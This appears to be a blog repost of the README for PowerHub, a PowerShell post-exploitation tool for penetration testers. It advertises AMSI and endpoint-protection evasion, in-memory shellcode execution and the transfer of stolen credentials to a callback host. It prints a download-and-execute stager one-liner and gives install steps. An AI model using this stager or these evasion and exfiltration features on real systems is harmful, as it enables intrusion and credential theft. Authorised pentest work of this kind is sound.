PowerHub – post exploitation tool based on a web application



PowerHub is a convenient post exploitation tool for PowerShell which aids a pentester in transferring data, in particular code which may get flagged by endpoint protection. Check out the Wiki! Features:

  • Fileless
  • Stateless
  • Cert pinning
  • String “obfuscation” by RC4 encryption
  • Choose your AMSI Bypass

During an engagement where you have a test client available, one of the first things you want to do is run PowerSploit. So you need to download the files, messing with endpoint protection, disable the execution policy, etc. PowerHub provides an (almost) one-click-solution for this. Oh, and you can also run arbitrary binaries (PE and shell code) entirely in-memory using PowerSploit’s modules, which is sometimes useful to bypass application whitelisting.

Your loot (Kerberos tickets, passwords, etc.) can be easily transferred back either as a file or a text snippet, via the command line or the web interface. PowerHub also helps with collaboration in case you’re a small team.

Here is a simple example (grab information about local groups with PowerView and transfer it back):

PS C:\Users\avollmer> $K=new-object net.webclient;IEX $K.downloadstring('');
  _____   _____  _  _  _ _______  ______ _     _ _     _ ______
 |_____] |     | |  |  | |______ |_____/ |_____| |     | |_____]
 |       |_____| |__|__| |______ |    \_ |     | |_____| |_____]

PowerHub itself does not need to be installed. Just execute powerhub.py. However, there are a few dependencies. They are listed in the requirements.txt. Install them either via 

pip3 install --user -r requirements.txt

 or use a virtual environment.

If you do want to install PowerHub, you should do 

pip3 install --user ..

Python2 is not supported.

For building the payloads, you need the MinGW GCC and Mono C# compilers. On Debian-like systems, you can install them with

apt-get install mono-mcs gcc-mingw-w64-x86-64 gcc-mingw-w64-i686


venv can be installed on Debian-like systems by apt install python3-venv.

Run python3 -m venv env to create a virtual environment, then use source env/bin/activate to activate it. Now run pip3 install --user . to install the depencendies inside the virtual environment.


Alternatively, you can use pipenvpipenv can be installed on Debian-like systems by apt install pipenv.

Run pipenv install once in the PowerHub directory, then pipenv shell to activate the virtual environment.


PowerHub has one mandatory argument: the callback host (can be an IP address). You should also use --auth <user>:<pass>, otherwise, a randomly generated password will be used for basic authentication. The switch --no-auth disables basic authentication which is not recommended. The callback host name is used by the stager to download the payload. If the callback port or path differ from the default, it can also be changed.

Read ./powerhub.py --help and the Wiki for details.


PowerHub is partially based on the awesome work of zc00l, @am0nsec, mar10, p3nt4, @SkelSec. And of course, it would be nothing without @harmj0y, @mattifestation and the many other contributors to PowerSploit.
